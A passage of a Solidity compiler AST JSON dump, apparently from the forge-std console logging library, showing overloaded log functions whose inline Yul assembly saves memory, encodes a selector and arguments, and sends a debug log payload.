80"}],"functionName":{"name":"mload","nativeSrc":"20990:5:22","nodeType":"YulIdentifier","src":"20990:5:22"},"nativeSrc":"20990:11:22","nodeType":"YulFunctionCall","src":"20990:11:22"},"variableNames":[{"name":"m4","nativeSrc":"20984:2:22","nodeType":"YulIdentifier","src":"20984:2:22"}]},{"nativeSrc":"21014:17:22","nodeType":"YulAssignment","src":"21014:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"21026:4:22","nodeType":"YulLiteral","src":"21026:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"21020:5:22","nodeType":"YulIdentifier","src":"21020:5:22"},"nativeSrc":"21020:11:22","nodeType":"YulFunctionCall","src":"21020:11:22"},"variableNames":[{"name":"m5","nativeSrc":"21014:2:22","nodeType":"YulIdentifier","src":"21014:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"21109:4:22","nodeType":"YulLiteral","src":"21109:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"21115:10:22","nodeType":"YulLiteral","src":"21115:10:22","type":"","value":"0x007150be"}],"functionName":{"name":"mstore","nativeSrc":"21102:6:22","nodeType":"YulIdentifier","src":"21102:6:22"},"nativeSrc":"21102:24:22","nodeType":"YulFunctionCall","src":"21102:24:22"},"nativeSrc":"21102:24:22","nodeType":"YulExpressionStatement","src":"21102:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"21146:4:22","nodeType":"YulLiteral","src":"21146:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"21152:2:22","nodeType":"YulIdentifier","src":"21152:2:22"}],"functionName":{"name":"mstore","nativeSrc":"21139:6:22","nodeType":"YulIdentifier","src":"21139:6:22"},"nativeSrc":"21139:16:22","nodeType":"YulFunctionCall","src":"21139:16:22"},"nativeSrc":"21139:16:22","nodeType":"YulExpressionStatement","src":"21139:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"21175:4:22","nodeType":"YulLiteral","src":"21175:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"21181:2:22","nodeType":"YulIdentifier","src":"21181:2:22"}],"functionName":{"name":"mstore","nativeSrc":"21168:6:22","nodeType":"YulIdentifier","src":"21168:6:22"},"nativeSrc":"21168:16:22","nodeType":"YulFunctionCall","src":"21168:16:22"},"nativeSrc":"21168:16:22","nodeType":"YulExpressionStatement","src":"21168:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"21204:4:22","nodeType":"YulLiteral","src":"21204:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"21210:4:22","nodeType":"YulLiteral","src":"21210:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"21197:6:22","nodeType":"YulIdentifier","src":"21197:6:22"},"nativeSrc":"21197:18:22","nodeType":"YulFunctionCall","src":"21197:18:22"},"nativeSrc":"21197:18:22","nodeType":"YulExpressionStatement","src":"21197:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"21240:4:22","nodeType":"YulLiteral","src":"21240:4:22","type":"","value":"0x80"},{"name":"p2","nativeSrc":"21246:2:22","nodeType":"YulIdentifier","src":"21246:2:22"}],"functionName":{"name":"writeString","nativeSrc":"21228:11:22","nodeType":"YulIdentifier","src":"21228:11:22"},"nativeSrc":"21228:21:22","nodeType":"YulFunctionCall","src":"21228:21:22"},"nativeSrc":"21228:21:22","nodeType":"YulExpressionStatement","src":"21228:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34299,"isOffset":false,"isSlot":false,"src":"20864:2:22","valueSize":1},{"declaration":34302,"isOffset":false,"isSlot":false,"src":"20894:2:22","valueSize":1},{"declaration":34305,"isOffset":false,"isSlot":false,"src":"20924:2:22","valueSize":1},{"declaration":34308,"isOffset":false,"isSlot":false,"src":"20954:2:22","valueSize":1},{"declaration":34311,"isOffset":false,"isSlot":false,"src":"20984:2:22","valueSize":1},{"declaration":34314,"isOffset":false,"isSlot":false,"src":"21014:2:22","valueSize":1},{"declaration":34291,"isOffset":false,"isSlot":false,"src":"21152:2:22","valueSize":1},{"declaration":34293,"isOffset":false,"isSlot":false,"src":"21181:2:22","valueSize":1},{"declaration":34295,"isOffset":false,"isSlot":false,"src":"21246:2:22","valueSize":1}],"id":34316,"nodeType":"InlineAssembly","src":"20486:773:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34318,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"21284:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":34319,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"21290:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":34317,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"21268:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34320,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21268:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34321,"nodeType":"ExpressionStatement","src":"21268:27:22"},{"AST":{"nativeSrc":"21314:185:22","nodeType":"YulBlock","src":"21314:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"21335:4:22","nodeType":"YulLiteral","src":"21335:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"21341:2:22","nodeType":"YulIdentifier","src":"21341:2:22"}],"functionName":{"name":"mstore","nativeSrc":"21328:6:22","nodeType":"YulIdentifier","src":"21328:6:22"},"nativeSrc":"21328:16:22","nodeType":"YulFunctionCall","src":"21328:16:22"},"nativeSrc":"21328:16:22","nodeType":"YulExpressionStatement","src":"21328:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"21364:4:22","nodeType":"YulLiteral","src":"21364:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"21370:2:22","nodeType":"YulIdentifier","src":"21370:2:22"}],"functionName":{"name":"mstore","nativeSrc":"21357:6:22","nodeType":"YulIdentifier","src":"21357:6:22"},"nativeSrc":"21357:16:22","nodeType":"YulFunctionCall","src":"21357:16:22"},"nativeSrc":"21357:16:22","nodeType":"YulExpressionStatement","src":"21357:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"21393:4:22","nodeType":"YulLiteral","src":"21393:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"21399:2:22","nodeType":"YulIdentifier","src":"21399:2:22"}],"functionName":{"name":"mstore","nativeSrc":"21386:6:22","nodeType":"YulIdentifier","src":"21386:6:22"},"nativeSrc":"21386:16:22","nodeType":"YulFunctionCall","src":"21386:16:22"},"nativeSrc":"21386:16:22","nodeType":"YulExpressionStatement","src":"21386:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"21422:4:22","nodeType":"YulLiteral","src":"21422:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"21428:2:22","nodeType":"YulIdentifier","src":"21428:2:22"}],"functionName":{"name":"mstore","nativeSrc":"21415:6:22","nodeType":"YulIdentifier","src":"21415:6:22"},"nativeSrc":"21415:16:22","nodeType":"YulFunctionCall","src":"21415:16:22"},"nativeSrc":"21415:16:22","nodeType":"YulExpressionStatement","src":"21415:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"21451:4:22","nodeType":"YulLiteral","src":"21451:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"21457:2:22","nodeType":"YulIdentifier","src":"21457:2:22"}],"functionName":{"name":"mstore","nativeSrc":"21444:6:22","nodeType":"YulIdentifier","src":"21444:6:22"},"nativeSrc":"21444:16:22","nodeType":"YulFunctionCall","src":"21444:16:22"},"nativeSrc":"21444:16:22","nodeType":"YulExpressionStatement","src":"21444:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"21480:4:22","nodeType":"YulLiteral","src":"21480:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"21486:2:22","nodeType":"YulIdentifier","src":"21486:2:22"}],"functionName":{"name":"mstore","nativeSrc":"21473:6:22","nodeType":"YulIdentifier","src":"21473:6:22"},"nativeSrc":"21473:16:22","nodeType":"YulFunctionCall","src":"21473:16:22"},"nativeSrc":"21473:16:22","nodeType":"YulExpressionStatement","src":"21473:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34299,"isOffset":false,"isSlot":false,"src":"21341:2:22","valueSize":1},{"declaration":34302,"isOffset":false,"isSlot":false,"src":"21370:2:22","valueSize":1},{"declaration":34305,"isOffset":false,"isSlot":false,"src":"21399:2:22","valueSize":1},{"declaration":34308,"isOffset":false,"isSlot":false,"src":"21428:2:22","valueSize":1},{"declaration":34311,"isOffset":false,"isSlot":false,"src":"21457:2:22","valueSize":1},{"declaration":34314,"isOffset":false,"isSlot":false,"src":"21486:2:22","valueSize":1}],"id":34322,"nodeType":"InlineAssembly","src":"21305:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"20302:3:22","parameters":{"id":34296,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34291,"mutability":"mutable","name":"p0","nameLocation":"20314:2:22","nodeType":"VariableDeclaration","scope":34324,"src":"20306:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34290,"name":"address","nodeType":"ElementaryTypeName","src":"20306:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":34293,"mutability":"mutable","name":"p1","nameLocation":"20326:2:22","nodeType":"VariableDeclaration","scope":34324,"src":"20318:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34292,"name":"address","nodeType":"ElementaryTypeName","src":"20318:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":34295,"mutability":"mutable","name":"p2","nameLocation":"20338:2:22","nodeType":"VariableDeclaration","scope":34324,"src":"20330:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34294,"name":"bytes32","nodeType":"ElementaryTypeName","src":"20330:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"20305:36:22"},"returnParameters":{"id":34297,"nodeType":"ParameterList","parameters":[],"src":"20356:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34353,"nodeType":"FunctionDefinition","src":"21511:658:22","nodes":[],"body":{"id":34352,"nodeType":"Block","src":"21571:598:22","nodes":[],"statements":[{"assignments":[34334],"declarations":[{"constant":false,"id":34334,"mutability":"mutable","name":"m0","nameLocation":"21589:2:22","nodeType":"VariableDeclaration","scope":34352,"src":"21581:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34333,"name":"bytes32","nodeType":"ElementaryTypeName","src":"21581:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34335,"nodeType":"VariableDeclarationStatement","src":"21581:10:22"},{"assignments":[34337],"declarations":[{"constant":false,"id":34337,"mutability":"mutable","name":"m1","nameLocation":"21609:2:22","nodeType":"VariableDeclaration","scope":34352,"src":"21601:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34336,"name":"bytes32","nodeType":"ElementaryTypeName","src":"21601:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34338,"nodeType":"VariableDeclarationStatement","src":"21601:10:22"},{"assignments":[34340],"declarations":[{"constant":false,"id":34340,"mutability":"mutable","name":"m2","nameLocation":"21629:2:22","nodeType":"VariableDeclaration","scope":34352,"src":"21621:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34339,"name":"bytes32","nodeType":"ElementaryTypeName","src":"21621:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34341,"nodeType":"VariableDeclarationStatement","src":"21621:10:22"},{"assignments":[34343],"declarations":[{"constant":false,"id":34343,"mutability":"mutable","name":"m3","nameLocation":"21649:2:22","nodeType":"VariableDeclaration","scope":34352,"src":"21641:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34342,"name":"bytes32","nodeType":"ElementaryTypeName","src":"21641:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34344,"nodeType":"VariableDeclarationStatement","src":"21641:10:22"},{"AST":{"nativeSrc":"21670:311:22","nodeType":"YulBlock","src":"21670:311:22","statements":[{"nativeSrc":"21684:17:22","nodeType":"YulAssignment","src":"21684:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"21696:4:22","nodeType":"YulLiteral","src":"21696:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"21690:5:22","nodeType":"YulIdentifier","src":"21690:5:22"},"nativeSrc":"21690:11:22","nodeType":"YulFunctionCall","src":"21690:11:22"},"variableNames":[{"name":"m0","nativeSrc":"21684:2:22","nodeType":"YulIdentifier","src":"21684:2:22"}]},{"nativeSrc":"21714:17:22","nodeType":"YulAssignment","src":"21714:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"21726:4:22","nodeType":"YulLiteral","src":"21726:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"21720:5:22","nodeType":"YulIdentifier","src":"21720:5:22"},"nativeSrc":"21720:11:22","nodeType":"YulFunctionCall","src":"21720:11:22"},"variableNames":[{"name":"m1","nativeSrc":"21714:2:22","nodeType":"YulIdentifier","src":"21714:2:22"}]},{"nativeSrc":"21744:17:22","nodeType":"YulAssignment","src":"21744:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"21756:4:22","nodeType":"YulLiteral","src":"21756:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"21750:5:22","nodeType":"YulIdentifier","src":"21750:5:22"},"nativeSrc":"21750:11:22","nodeType":"YulFunctionCall","src":"21750:11:22"},"variableNames":[{"name":"m2","nativeSrc":"21744:2:22","nodeType":"YulIdentifier","src":"21744:2:22"}]},{"nativeSrc":"21774:17:22","nodeType":"YulAssignment","src":"21774:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"21786:4:22","nodeType":"YulLiteral","src":"21786:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"21780:5:22","nodeType":"YulIdentifier","src":"21780:5:22"},"nativeSrc":"21780:11:22","nodeType":"YulFunctionCall","src":"21780:11:22"},"variableNames":[{"name":"m3","nativeSrc":"21774:2:22","nodeType":"YulIdentifier","src":"21774:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"21867:4:22","nodeType":"YulLiteral","src":"21867:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"21873:10:22","nodeType":"YulLiteral","src":"21873:10:22","type":"","value":"0xf11699ed"}],"functionName":{"name":"mstore","nativeSrc":"21860:6:22","nodeType":"YulIdentifier","src":"21860:6:22"},"nativeSrc":"21860:24:22","nodeType":"YulFunctionCall","src":"21860:24:22"},"nativeSrc":"21860:24:22","nodeType":"YulExpressionStatement","src":"21860:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"21904:4:22","nodeType":"YulLiteral","src":"21904:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"21910:2:22","nodeType":"YulIdentifier","src":"21910:2:22"}],"functionName":{"name":"mstore","nativeSrc":"21897:6:22","nodeType":"YulIdentifier","src":"21897:6:22"},"nativeSrc":"21897:16:22","nodeType":"YulFunctionCall","src":"21897:16:22"},"nativeSrc":"21897:16:22","nodeType":"YulExpressionStatement","src":"21897:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"21933:4:22","nodeType":"YulLiteral","src":"21933:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"21939:2:22","nodeType":"YulIdentifier","src":"21939:2:22"}],"functionName":{"name":"mstore","nativeSrc":"21926:6:22","nodeType":"YulIdentifier","src":"21926:6:22"},"nativeSrc":"21926:16:22","nodeType":"YulFunctionCall","src":"21926:16:22"},"nativeSrc":"21926:16:22","nodeType":"YulExpressionStatement","src":"21926:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"21962:4:22","nodeType":"YulLiteral","src":"21962:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"21968:2:22","nodeType":"YulIdentifier","src":"21968:2:22"}],"functionName":{"name":"mstore","nativeSrc":"21955:6:22","nodeType":"YulIdentifier","src":"21955:6:22"},"nativeSrc":"21955:16:22","nodeType":"YulFunctionCall","src":"21955:16:22"},"nativeSrc":"21955:16:22","nodeType":"YulExpressionStatement","src":"21955:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34334,"isOffset":false,"isSlot":false,"src":"21684:2:22","valueSize":1},{"declaration":34337,"isOffset":false,"isSlot":false,"src":"21714:2:22","valueSize":1},{"declaration":34340,"isOffset":false,"isSlot":false,"src":"21744:2:22","valueSize":1},{"declaration":34343,"isOffset":false,"isSlot":false,"src":"21774:2:22","valueSize":1},{"declaration":34326,"isOffset":false,"isSlot":false,"src":"21910:2:22","valueSize":1},{"declaration":34328,"isOffset":false,"isSlot":false,"src":"21939:2:22","valueSize":1},{"declaration":34330,"isOffset":false,"isSlot":false,"src":"21968:2:22","valueSize":1}],"id":34345,"nodeType":"InlineAssembly","src":"21661:320:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34347,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"22006:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":34348,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"22012:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":34346,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"21990:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34349,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21990:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34350,"nodeType":"ExpressionStatement","src":"21990:27:22"},{"AST":{"nativeSrc":"22036:127:22","nodeType":"YulBlock","src":"22036:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"22057:4:22","nodeType":"YulLiteral","src":"22057:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"22063:2:22","nodeType":"YulIdentifier","src":"22063:2:22"}],"functionName":{"name":"mstore","nativeSrc":"22050:6:22","nodeType":"YulIdentifier","src":"22050:6:22"},"nativeSrc":"22050:16:22","nodeType":"YulFunctionCall","src":"22050:16:22"},"nativeSrc":"22050:16:22","nodeType":"YulExpressionStatement","src":"22050:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"22086:4:22","nodeType":"YulLiteral","src":"22086:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"22092:2:22","nodeType":"YulIdentifier","src":"22092:2:22"}],"functionName":{"name":"mstore","nativeSrc":"22079:6:22","nodeType":"YulIdentifier","src":"22079:6:22"},"nativeSrc":"22079:16:22","nodeType":"YulFunctionCall","src":"22079:16:22"},"nativeSrc":"22079:16:22","nodeType":"YulExpressionStatement","src":"22079:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"22115:4:22","nodeType":"YulLiteral","src":"22115:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"22121:2:22","nodeType":"YulIdentifier","src":"22121:2:22"}],"functionName":{"name":"mstore","nativeSrc":"22108:6:22","nodeType":"YulIdentifier","src":"22108:6:22"},"nativeSrc":"22108:16:22","nodeType":"YulFunctionCall","src":"22108:16:22"},"nativeSrc":"22108:16:22","nodeType":"YulExpressionStatement","src":"22108:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"22144:4:22","nodeType":"YulLiteral","src":"22144:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"22150:2:22","nodeType":"YulIdentifier","src":"22150:2:22"}],"functionName":{"name":"mstore","nativeSrc":"22137:6:22","nodeType":"YulIdentifier","src":"22137:6:22"},"nativeSrc":"22137:16:22","nodeType":"YulFunctionCall","src":"22137:16:22"},"nativeSrc":"22137:16:22","nodeType":"YulExpressionStatement","src":"22137:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34334,"isOffset":false,"isSlot":false,"src":"22063:2:22","valueSize":1},{"declaration":34337,"isOffset":false,"isSlot":false,"src":"22092:2:22","valueSize":1},{"declaration":34340,"isOffset":false,"isSlot":false,"src":"22121:2:22","valueSize":1},{"declaration":34343,"isOffset":false,"isSlot":false,"src":"22150:2:22","valueSize":1}],"id":34351,"nodeType":"InlineAssembly","src":"22027:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"21520:3:22","parameters":{"id":34331,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34326,"mutability":"mutable","name":"p0","nameLocation":"21532:2:22","nodeType":"VariableDeclaration","scope":34353,"src":"21524:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34325,"name":"address","nodeType":"ElementaryTypeName","src":"21524:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":34328,"mutability":"mutable","name":"p1","nameLocation":"21541:2:22","nodeType":"VariableDeclaration","scope":34353,"src":"21536:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34327,"name":"bool","nodeType":"ElementaryTypeName","src":"21536:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":34330,"mutability":"mutable","name":"p2","nameLocation":"21553:2:22","nodeType":"VariableDeclaration","scope":34353,"src":"21545:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34329,"name":"address","nodeType":"ElementaryTypeName","src":"21545:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"21523:33:22"},"returnParameters":{"id":34332,"nodeType":"ParameterList","parameters":[],"src":"21571:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34382,"nodeType":"FunctionDefinition","src":"22175:652:22","nodes":[],"body":{"id":34381,"nodeType":"Block","src":"22232:595:22","nodes":[],"statements":[{"assignments":[34363],"declarations":[{"constant":false,"id":34363,"mutability":"mutable","name":"m0","nameLocation":"22250:2:22","nodeType":"VariableDeclaration","scope":34381,"src":"22242:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34362,"name":"bytes32","nodeType":"ElementaryTypeName","src":"22242:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34364,"nodeType":"VariableDeclarationStatement","src":"22242:10:22"},{"assignments":[34366],"declarations":[{"constant":false,"id":34366,"mutability":"mutable","name":"m1","nameLocation":"22270:2:22","nodeType":"VariableDeclaration","scope":34381,"src":"22262:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34365,"name":"bytes32","nodeType":"ElementaryTypeName","src":"22262:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34367,"nodeType":"VariableDeclarationStatement","src":"22262:10:22"},{"assignments":[34369],"declarations":[{"constant":false,"id":34369,"mutability":"mutable","name":"m2","nameLocation":"22290:2:22","nodeType":"VariableDeclaration","scope":34381,"src":"22282:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34368,"name":"bytes32","nodeType":"ElementaryTypeName","src":"22282:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34370,"nodeType":"VariableDeclarationStatement","src":"22282:10:22"},{"assignments":[34372],"declarations":[{"constant":false,"id":34372,"mutability":"mutable","name":"m3","nameLocation":"22310:2:22","nodeType":"VariableDeclaration","scope":34381,"src":"22302:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34371,"name":"bytes32","nodeType":"ElementaryTypeName","src":"22302:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34373,"nodeType":"VariableDeclarationStatement","src":"22302:10:22"},{"AST":{"nativeSrc":"22331:308:22","nodeType":"YulBlock","src":"22331:308:22","statements":[{"nativeSrc":"22345:17:22","nodeType":"YulAssignment","src":"22345:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"22357:4:22","nodeType":"YulLiteral","src":"22357:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"22351:5:22","nodeType":"YulIdentifier","src":"22351:5:22"},"nativeSrc":"22351:11:22","nodeType":"YulFunctionCall","src":"22351:11:22"},"variableNames":[{"name":"m0","nativeSrc":"22345:2:22","nodeType":"YulIdentifier","src":"22345:2:22"}]},{"nativeSrc":"22375:17:22","nodeType":"YulAssignment","src":"22375:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"22387:4:22","nodeType":"YulLiteral","src":"22387:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"22381:5:22","nodeType":"YulIdentifier","src":"22381:5:22"},"nativeSrc":"22381:11:22","nodeType":"YulFunctionCall","src":"22381:11:22"},"variableNames":[{"name":"m1","nativeSrc":"22375:2:22","nodeType":"YulIdentifier","src":"22375:2:22"}]},{"nativeSrc":"22405:17:22","nodeType":"YulAssignment","src":"22405:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"22417:4:22","nodeType":"YulLiteral","src":"22417:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"22411:5:22","nodeType":"YulIdentifier","src":"22411:5:22"},"nativeSrc":"22411:11:22","nodeType":"YulFunctionCall","src":"22411:11:22"},"variableNames":[{"name":"m2","nativeSrc":"22405:2:22","nodeType":"YulIdentifier","src":"22405:2:22"}]},{"nativeSrc":"22435:17:22","nodeType":"YulAssignment","src":"22435:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"22447:4:22","nodeType":"YulLiteral","src":"22447:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"22441:5:22","nodeType":"YulIdentifier","src":"22441:5:22"},"nativeSrc":"22441:11:22","nodeType":"YulFunctionCall","src":"22441:11:22"},"variableNames":[{"name":"m3","nativeSrc":"22435:2:22","nodeType":"YulIdentifier","src":"22435:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"22525:4:22","nodeType":"YulLiteral","src":"22525:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"22531:10:22","nodeType":"YulLiteral","src":"22531:10:22","type":"","value":"0xeb830c92"}],"functionName":{"name":"mstore","nativeSrc":"22518:6:22","nodeType":"YulIdentifier","src":"22518:6:22"},"nativeSrc":"22518:24:22","nodeType":"YulFunctionCall","src":"22518:24:22"},"nativeSrc":"22518:24:22","nodeType":"YulExpressionStatement","src":"22518:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"22562:4:22","nodeType":"YulLiteral","src":"22562:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"22568:2:22","nodeType":"YulIdentifier","src":"22568:2:22"}],"functionName":{"name":"mstore","nativeSrc":"22555:6:22","nodeType":"YulIdentifier","src":"22555:6:22"},"nativeSrc":"22555:16:22","nodeType":"YulFunctionCall","src":"22555:16:22"},"nativeSrc":"22555:16:22","nodeType":"YulExpressionStatement","src":"22555:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"22591:4:22","nodeType":"YulLiteral","src":"22591:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"22597:2:22","nodeType":"YulIdentifier","src":"22597:2:22"}],"functionName":{"name":"mstore","nativeSrc":"22584:6